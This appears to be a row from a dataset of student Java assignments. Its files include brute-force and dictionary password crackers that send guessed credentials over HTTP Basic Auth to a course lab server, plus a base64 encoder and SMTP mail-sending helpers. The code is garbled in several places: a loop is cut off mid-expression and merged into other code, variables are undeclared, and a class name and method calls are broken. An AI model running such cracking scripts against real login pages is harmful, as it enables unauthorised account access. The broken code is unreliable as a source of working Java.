'8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 150.java," import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password="" ""; public static void main(String[] args) { String Result=""""; if (args.length<1) { System.out.println(""Correct Format Filename username e.g<>""); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream (""/usr/share/lib/dict/words""); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""The Number Of Attempts : ""+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""Total Time in secs...""+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println(""Error in closing input file:\n"" + e.toString()); } return ""Password could not found""; } }",148.java," import java.net.*; import java.io.*; public class BruteForce { private static String password="" ""; public static void main(String[] args) { String Result=""""; if (args.length<1) { System.out.println(""Error: Correct Format Filename, username e.g<>""); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""The Password of ""+args[0]+""is..""+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ch2='a'; } password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); try { URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc= url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""The Number of Attempts ""+cnt); System.out.println(""Total Time Taken in secs""+net/1000); return password; } } catch (Exception e ) { e.printStackTrace(); } } } } return ""Password could not found""; } }" 015.java," public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } ",023.java," public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } " 101.java," import java.net.*; import java.io.*; public class SendEMail { public void SendEMail(){} public void sendMail(String recipient,String c, String subject){ try { Socket s = new Socket(""yallara.cs.rmit.edu."", 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), ""8859_1"")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), ""8859_1"")); send(in, out, ""HELO theWorld""); send(in, out, ""MAIL FROM: ""); send(in, out, ""RCPT : ""+recipient); send(in, out, ""DATA""); send(out, ""Subject: ""+ subject); send(out, ""From: WatchDog.java""); send (out, ""\n""); BufferedReader reader; String line; reader = new BufferedReader(new InputStreamReader(new FileInputStream())); line = reader.readLine(); while (line != null){ send(out, line); line = reader.readLine(); } send(out, ""\n.\n""); send(in, out, ""QUIT""); s.print(); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }",212.java," import java.net.*; import java.io.*; public class sendMail { public void sendMail(String mailServer, String recipient, String result) { try { Socket s = new Socket(mailServer, 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), ""8859_1"")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), ""8859_1"")); send(in, out, ""HELO client""); send(in, out, ""MAIL FROM: ""); send(in, out, ""RCPT : "" + recipient); send(in, out, ""DATA""); send(out, ""Subject: ""); send(out, ""From: Admin ""); send (out, ""\n""); send(out, result); send(out, ""\n.\n""); send(in, out, ""QUIT""); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }"